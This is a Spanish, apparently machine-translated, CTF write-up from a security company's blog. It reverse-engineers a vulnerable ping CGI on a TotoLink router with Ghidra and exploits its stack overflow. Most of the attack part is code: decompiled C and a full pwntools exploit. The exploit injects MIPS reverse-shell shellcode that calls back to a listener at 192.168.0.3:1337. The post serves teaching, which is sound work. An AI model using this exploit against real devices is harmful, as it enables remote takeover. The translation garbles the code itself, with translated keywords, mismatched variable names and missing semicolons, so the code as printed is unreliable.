Ingeniería inversa y explotación de un fallo de IoT

30 de diciembre de 2022

A principios de noviembre de este año, en Buenos Aires, Argentina, Faraday tuvo el privilegio de ser patrocinador de la EKOParty conferencia de seguridad. Como otros patrocinadores, tuvimos que construir un par de retos para el CTF.El nuestro tenía seis retos, desde vulnerabilidades web hasta exploits en dispositivos integrados. Lo particular de esos retos era que estaban dentro del router más barato del mercado: nuestro encantador TotoLink N100RE.Este es el escrito para el reto más difícil, un bug en una mala implementación de un cliente ping anticipando el Error en FreeBSD un mes antes. El buggy ping podía activarse desde el panel web; el binario se entregaba por adelantado junto con las librerías necesarias para ejecutarlo.pingoEl binario no tiene protecciones contra errores de corrupción de memoria.checksecEn cada reto binario necesitamos hacer la reversión del archivo, con fines educativos grabamos la sesión completa del proceso de ingeniería inversa. La idea de este video es demostrar algunas de las funcionalidades de Ghidra que pueden ser muy útiles cuando no tenemos el código fuente del reto, por ejemplo:

  • cambiar el nombre y el tipo de las variables
  • identificar llamadas comunes a libc en binarios mips
  • establecer el tipo correcto a las estructuras

En la mayoría de los escritos sobre CTF, los conceptos de ingeniería inversa se dan por sentados. Esto es un problema para los recién llegados que no están familiarizados con algunos conceptos básicos o si no tienen experiencia previa en este campo. Sin embargo, esto será diferente. En este vídeo, le mostraremos paso a paso nuestra sesión de descompilación utilizando Ghidra. Este paso a paso es útil para cualquier inversión estática, pero es particularmente funcional para los binarios IoT.El código restaurado es casi compilable:

void sendPing(int sockfd,sockaddr_in *dest)

{
  char *direcciónip;
  int ret;
  uint i;
  int optionValue;
  socklen_t addrlen;
  iphdr buffer;
  icmphdr icmphdrRecv;
  icmp packetICMP;
  sockaddr scrAddr;
  timespec res1;
  timespec res2;
  timeval optionValue2;
  
  optionValue = 0x40;
  ipAddr = (char *)inet_ntoa((dest->sin_addr).s_addr);
  optionValue2.tv_sec = 1;
  optionsValue2.tv_usec = 0;
  ret = setsockopt(sockfd,0,2,&optionValue,4);
  if (ret == 0) {
    setsockopt(sockfd,0xffff,0x1006,&optionValue2,8);
    bzero(&packetICMP,0x40);
    packetICMP.icmp_type = 8;
    packetICMP.icmp_hun.ih_idseq.icd_id = 0x1337;
    for (i = 0; i < 0x37; i = i + 1) {
      packetICMP.icmp_dun.id_data[i] = (char)i + '0';
    }
    packetICMP.icmp_dun.id_data[i] = '�';
    packetICMP.icmp_hun.ih_idseq.icd_seq = 0;
    packetICMP.icmp_cksum = makeChecksum(&packetICMP,0x40);
    clock_gettime(1,&res1);
    ret = sendto(sockfd,&packetICMP,0x40,0,dest,0x10);
    if (ret < 1) {
      puts("¡Fallo en el envío del paquete!");
    }
    else {
      addrlen = 0x10;
      ret = recvfrom(sockfd,&buffer,0x200,0,&scrAddr,&addrlen);
      if (ret < 1) {
        puts("¡Fallo en la recepción del paquete!");
      }
      else {
        clock_gettime(1,&res2);
        if ((icmphdrRecv.type == NULL) && (icmphdrRecv.code == NULL)) {
          printf("%d bytes de %s msg_seq=%d ttl=%d rtt = %lu ms.n",0x40,ipAddr,1,optionValue,
                 (res2.tv_sec - res1.tv_sec) * 1000 + (res2.tv_nsec - res1.tv_nsec) / 1000000);
        }
        else {
          printf("Error..Paquete recibido con ICMP tipo %d código %dn",icmphdrRecv.type,
                 icmphdrRecv.code);
        }
      }
    }
  }
  else {
    puts("¡Ha fallado la configuración de las opciones de socket a TTL!");
  }
  return;
}

int main(void)

{
  int elementos;
  int sockfd
  int ret;
  sockaddr_in dest;
  byte primero
  byte second
  byte third
  byte fourth;
  
  elements = getenv("QUERY_STRING");
  puts("Content-Type: text/plain;charset=us-asciin");
  if (elements == 0) {
    puts("Solicitud incorrecta");
  }
  else {
    elements = sscanf(elements, "ip=%hhu.%hhu.%hhu.%hhu",&first,&second,&third,&fourth);
    si (elementos == 4) {
      sockfd = socket(2,3,1);
      if (sockfd < 0) {
        ret = puts("¡Descriptor de fichero de socket no recibido!");
        return ret;
      }
      setuid(1000);
      setgid(1000);
      dest.sin_family = 2;
      dest.sin_port = htons(0);
      dest.sin_addr.s_addr._0_1_ = primero;
      dest.sin_addr.s_addr._1_1_ = segundo;
      dest.sin_addr.s_addr._2_1_ = tercero;
      dest.sin_addr.s_addr._3_1_ = cuarto;
      sendPing(sockfd,&dest);
    }
    else {
      puts("Solicitud incorrecta");
    }
  }
  return 0;
}

Este binario también tenía todos los archivos necesarios para funcionar con Qemu como el equipo dijo en ellos twitter pista

hint

Para ejecutarse correctamente, el ejecutable necesita recibir la dirección ip del objetivo a través de la variable de entorno QUERY_STRING

$ sudo chroot . ./qemu-mips-static -E QUERY_STRING="ip=192.168.1.254" picar
Content-Type: text/plain;charset=us-ascii

64 bytes desde 192.168.1.254 msg_seq=1 ttl=64 rtt = 2 ms.

Esto será útil más tarde porque podemos depurar la muestra con un depurador como gdb.El bug está en la llamada recvfrom que recibe 0x200 bytes, la respuesta icmp tiene un tamaño inferior a ese, pero si manipulamos la respuesta, podríamos provocar un desbordamiento del buffer de pila.Para lograr este objetivo necesitamos deshabilitar la respuesta del kernel a los paquetes icmp entrantes usando sysctl

$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
net.ipv4.icmp_echo_ignore_all = 1

Enviando 0x200 bytes en el cuerpo del paquete ICMP podríamos manipular la dirección de retorno y secuestrar el flujo de control aprovechando la ausencia de ASLR.crash-41414141

Explote

Como el binario no tiene Prevención de Ejecución de Datos, saltamos directamente a la pila para ejecutar nuestro payload directamente usando el siguiente gadget del binariogadgetAquí está la versión completa del exploit construyendo una shell inversa con el conjunto pwntools

importar socket
from pwn import *
from scapy.all import IP, ICMP, send

context.update(arch='mips', endian='big', os='linux')

tamaño_máx = 424

shellcode = asm(
    pwnlib.shellcraft.mips.linux.connect("192.168.0.3", 1337, network='ipv4') +
    pwnlib.shellcraft.mips.linux.dupsh(sock='$s0')
)
payload = shellcode + b "a" * (max_size - len(shellcode))  + p32(0x00401018)

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
p = IP(s.recv(256))

send(IP(src=p.dst, dst=p.src) / ICMP(type=0, code=0) / payload)

Seguir leyendo

Los últimos artículos del blog

Esta versión responde a las antiguas peticiones de los clientes y refuerza nuestra misión de hacer que la gestión de vulnerabilidades sea más sencilla, transparente y práctica.

19 de febrero de 2026

Nuestro equipo de investigación de seguridad investiga activamente vulnerabilidades en tecnologías de uso generalizado, con especial atención a la infraestructura de redes y los sistemas integrados. A lo largo de 2024, nuestros investigadores informaron de múltiples problemas de seguridad que afectaban a

8 de enero de 2026

Cada año, la Ekoparty nos recuerda por qué amamos lo que hacemos.Nos preparamos con la misma energía de siempre: para reencontrarnos con la comunidad, compartir lo que investigamos, aprender de otros y..,

6 de enero de 2026

Manténgase informado, suscríbase a nuestro boletín

Introduzca su correo electrónico y no se pierda nunca las alertas y consejos de seguridad de los expertos de Faraday.

Faraday ayuda a grandes empresas, MSSPs y equipos de seguridad de aplicaciones a aprovechar mejor su ecosistema de seguridad, optimizando lo que ya utilizan.

Sede central

Laboratorio de investigación y desarrollo

Soluciones

Código abierto

2025 Faraday Security. Todos los derechos reservados.
Términos y condiciones | Política de privacidad